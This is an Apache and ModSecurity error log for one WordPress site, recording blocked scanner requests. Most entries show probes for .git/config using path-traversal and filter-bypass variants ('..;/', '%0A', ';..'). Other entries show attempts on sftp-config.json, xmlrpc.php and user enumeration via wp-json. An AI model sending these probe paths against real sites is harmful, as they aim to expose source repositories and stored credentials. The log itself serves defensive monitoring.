[Thu Nov 27 00:33:23.210743 2025] [:error] [pid 24814:tid 25094] [client 213.21.239.4:59026] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibtgAAAVM"]
[Thu Nov 27 00:33:23.218329 2025] [:error] [pid 24814:tid 25084] [client 213.21.239.4:58972] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/images../.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibtwAAAUk"]
[Thu Nov 27 00:33:23.218641 2025] [:error] [pid 24814:tid 25076] [client 213.21.239.4:58896] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibuAAAAUE"]
[Thu Nov 27 00:33:23.221809 2025] [:error] [pid 24814:tid 25081] [client 213.21.239.4:58902] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config;.."] [unique_id "aScr0wPn1NMGCdo6RsibugAAAUY"]
[Thu Nov 27 00:33:23.222974 2025] [:error] [pid 24814:tid 25088] [client 213.21.239.4:58854] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/config;"] [unique_id "aScr0wPn1NMGCdo6RsibuwAAAU0"]
[Thu Nov 27 00:33:23.223379 2025] [:error] [pid 24814:tid 25095] [client 213.21.239.4:58960] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/git/.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibvAAAAVQ"]
[Thu Nov 27 00:33:23.224270 2025] [:error] [pid 24814:tid 25078] [client 213.21.239.4:59004] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/config;.."] [unique_id "aScr0wPn1NMGCdo6RsibvQAAAUM"]
[Thu Nov 27 00:33:23.226379 2025] [:error] [pid 24814:tid 25083] [client 213.21.239.4:59018] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/static../.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibvgAAAUg"]
[Thu Nov 27 00:33:23.227061 2025] [:error] [pid 25262:tid 25339] [client 213.21.239.4:59022] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/..;/.git/config"] [unique_id "aScr003p81VU3bYILBU4HAAAAhI"]
[Thu Nov 27 00:33:23.227479 2025] [:error] [pid 25262:tid 25340] [client 213.21.239.4:59044] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/..;/.git/config"] [unique_id "aScr003p81VU3bYILBU4HQAAAhM"]
[Thu Nov 27 00:33:26.203793 2025] [:error] [pid 24826:tid 25137] [client 213.21.239.4:59096] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/m/.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWjQAAARU"]
[Thu Nov 27 00:33:26.205438 2025] [:error] [pid 25262:tid 25342] [client 213.21.239.4:59152] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/prod/.git/config"] [unique_id "aScr1k3p81VU3bYILBU4HgAAAhU"]
[Thu Nov 27 00:33:26.205651 2025] [:error] [pid 24826:tid 25120] [client 213.21.239.4:59102] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/static../.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWjgAAAQU"]
[Thu Nov 27 00:33:26.206633 2025] [:error] [pid 25262:tid 25344] [client 213.21.239.4:59126] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/new/.git/config"] [unique_id "aScr1k3p81VU3bYILBU4HwAAAhc"]
[Thu Nov 27 00:33:26.210517 2025] [:error] [pid 25262:tid 25331] [client 213.21.239.4:59050] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/..;/.git/config"] [unique_id "aScr1k3p81VU3bYILBU4IAAAAgo"]
[Thu Nov 27 00:33:26.211198 2025] [:error] [pid 24826:tid 25116] [client 213.21.239.4:59132] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/js../.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWkAAAAQE"]
[Thu Nov 27 00:33:26.214102 2025] [:error] [pid 24826:tid 25119] [client 213.21.239.4:59072] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/live/.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWkQAAAQQ"]
[Thu Nov 27 00:33:26.214934 2025] [:error] [pid 24826:tid 25115] [client 213.21.239.4:59076] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWkgAAAQA"]
[Thu Nov 27 00:33:26.215027 2025] [:error] [pid 24826:tid 25122] [client 213.21.239.4:59114] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/message-api/.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWkwAAAQc"]
[Thu Nov 27 00:33:26.216673 2025] [:error] [pid 25262:tid 25332] [client 213.21.239.4:59168] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/%0Aconfig"] [unique_id "aScr1k3p81VU3bYILBU4IQAAAgs"]
[Thu Nov 27 00:33:26.218728 2025] [:error] [pid 24826:tid 25129] [client 213.21.239.4:59174] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/config;.."] [unique_id "aScr1lEvPXLVl-nh-yLWlAAAAQ4"]
[Thu Nov 27 00:33:26.219118 2025] [:error] [pid 25262:tid 25336] [client 213.21.239.4:59058] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/lib../.git/config"] [unique_id "aScr1k3p81VU3bYILBU4IgAAAg8"]
[Thu Nov 27 00:33:26.220702 2025] [:error] [pid 24826:tid 25128] [client 213.21.239.4:59238] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/;/.git/config"] [unique_id "aScr1lEvPXLVl-nh-yLWlgAAAQ0"]
[Thu Nov 27 00:33:26.221318 2025] [:error] [pid 25262:tid 25330] [client 213.21.239.4:59116] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/config"] [unique_id "aScr1k3p81VU3bYILBU4IwAAAgk"]
[Thu Nov 27 00:33:26.223261 2025] [:error] [pid 25180:tid 25196] [client 213.21.239.4:59084] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au../.git/config"] [unique_id "aScr1r-owhtiwMHXYlzKNgAAAY4"]
[Thu Nov 27 00:33:26.224276 2025] [:error] [pid 25180:tid 25190] [client 213.21.239.4:59140] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/config;"] [unique_id "aScr1r-owhtiwMHXYlzKNwAAAYg"]
[Thu Nov 27 00:33:26.228847 2025] [:error] [pid 25262:tid 25335] [client 213.21.239.4:59212] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/qa/.git/config"] [unique_id "aScr1k3p81VU3bYILBU4JAAAAg4"]
[Thu Nov 27 00:33:28.229652 2025] [core:error] [pid 24814:tid 25089] [client 213.21.239.4:59244] AH10244: invalid URI path (/../config)
[Thu Nov 27 00:33:29.204940 2025] [:error] [pid 24814:tid 25081] [client 213.21.239.4:59302] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/../.git/config"] [unique_id "aScr2QPn1NMGCdo6RsibxAAAAUY"]
[Thu Nov 27 00:33:29.207232 2025] [:error] [pid 24826:tid 25132] [client 213.21.239.4:59364] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/.git/config"] [unique_id "aScr2VEvPXLVl-nh-yLWnQAAARA"]
[Thu Nov 27 00:33:29.207391 2025] [:error] [pid 24814:tid 25088] [client 213.21.239.4:59336] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config;"] [unique_id "aScr2QPn1NMGCdo6RsibxQAAAU0"]
[Thu Nov 27 00:33:29.208112 2025] [:error] [pid 24826:tid 25117] [client 213.21.239.4:59266] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aScr2VEvPXLVl-nh-yLWngAAAQI"]
[Thu Nov 27 00:33:29.208764 2025] [:error] [pid 24826:tid 25140] [client 213.21.239.4:59408] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static../.git/config"] [unique_id "aScr2VEvPXLVl-nh-yLWnwAAARg"]
[Thu Nov 27 00:33:29.213015 2025] [:error] [pid 24826:tid 25136] [client 213.21.239.4:59280] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/;/.git/config"] [unique_id "aScr2VEvPXLVl-nh-yLWoAAAARQ"]
[Thu Nov 27 00:33:29.215756 2025] [:error] [pid 24814:tid 25095] [client 213.21.239.4:59308] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.git/config"] [unique_id "aScr2QPn1NMGCdo6RsibxwAAAVQ"]
[Thu Nov 27 00:33:29.215856 2025] [:error] [pid 24826:tid 25130] [client 213.21.239.4:59324] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aScr2VEvPXLVl-nh-yLWoQAAAQ8"]
[Thu Nov 27 00:33:29.218296 2025] [:error] [pid 25262:tid 25344] [client 213.21.239.4:59344] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config;.."] [unique_id "aScr2U3p81VU3bYILBU4JwAAAhc"]
[Thu Nov 27 00:33:29.219281 2025] [:error] [pid 24814:tid 25083] [client 213.21.239.4:59388] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aScr2QPn1NMGCdo6RsibyAAAAUg"]
[Thu Nov 27 00:33:29.221277 2025] [:error] [pid 25262:tid 25342] [client 213.21.239.4:59374] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/..;/.git/config"] [unique_id "aScr2U3p81VU3bYILBU4KAAAAhU"]
[Thu Nov 27 00:33:29.221983 2025] [:error] [pid 25262:tid 25331] [client 213.21.239.4:59294] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aScr2U3p81VU3bYILBU4KQAAAgo"]
[Thu Nov 27 00:33:29.229277 2025] [:error] [pid 24826:tid 25126] [client 213.21.239.4:59318] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/staging/.git/config"] [unique_id "aScr2VEvPXLVl-nh-yLWogAAAQs"]
[Thu Nov 27 00:33:29.230316 2025] [:error] [pid 25262:tid 25336] [client 213.21.239.4:59398] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/uat/.git/config"] [unique_id "aScr2U3p81VU3bYILBU4KgAAAg8"]
[Thu Nov 27 00:33:29.230717 2025] [:error] [pid 25262:tid 25332] [client 213.21.239.4:59352] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static../.git/config"] [unique_id "aScr2U3p81VU3bYILBU4KwAAAgs"]
[Thu Nov 27 00:58:42.654656 2025] [:error] [pid 8184:tid 8245] [client 103.77.107.57:49580] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aScxwr-M2IHkRYVrcbN9GgAAAEg"]
[Thu Nov 27 00:58:42.903787 2025] [:error] [pid 8184:tid 8255] [client 103.77.107.57:50605] [client 103.77.107.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aScxwr-M2IHkRYVrcbN9GwAAAFE"]
[Thu Nov 27 01:19:48.597538 2025] [:error] [pid 24826:tid 25116] [client 134.209.96.129:53284] [client 134.209.96.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSc2tFEvPXLVl-nh-yLhTwAAAQE"]
[Thu Nov 27 02:22:23.816837 2025] [:error] [pid 54723:tid 54751] [client 216.126.239.203:46098] [client 216.126.239.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSdFXw2CEg7QoyDosdIIXAAAABU"]
[Thu Nov 27 03:39:28.711106 2025] [:error] [pid 53613:tid 53630] [client 34.71.162.21:64828] [client 34.71.162.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.71.162.21, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSdXcBNZMUHuAhTmCSP7ngAAAAY"]
[Thu Nov 27 03:39:33.356456 2025] [:error] [pid 53613:tid 53629] [client 34.71.162.21:64828] [client 34.71.162.21] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSdXdRNZMUHuAhTmCSP7qwAAAAU"]
[Thu Nov 27 03:39:37.194502 2025] [:error] [pid 53613:tid 53647] [client 34.71.162.21:64828] [client 34.71.162.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.71.162.21, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSdXeRNZMUHuAhTmCSP7sQAAABc"]
[Thu Nov 27 06:41:10.067185 2025] [:error] [pid 21017:tid 21061] [client 36.41.75.167:49956] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSeCBqZA663ub03MMQu-QAAAAQI"]
[Thu Nov 27 13:06:41.296253 2025] [proxy_fcgi:error] [pid 61712:tid 61743] [client 18.192.166.72:54660] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Thu Nov 27 13:06:41.296335 2025] [proxy_fcgi:error] [pid 61712:tid 61743] (104)Connection reset by peer: [client 18.192.166.72:54660] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
[Thu Nov 27 14:59:25.943618 2025] [:error] [pid 23046:tid 23062] [client 43.153.19.83:49180] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSf2zYKOZx26yRRhdLXVvwAAAQo"]
[Thu Nov 27 21:47:25.443062 2025] [:error] [pid 5478:tid 5512] [client 43.130.150.80:45964] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aShWbehzZWazcfEzqI2UBQAAAMQ"]
[Thu Nov 27 23:21:24.764633 2025] [proxy_fcgi:error] [pid 24961:tid 24976] [client 114.119.143.152:45429] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 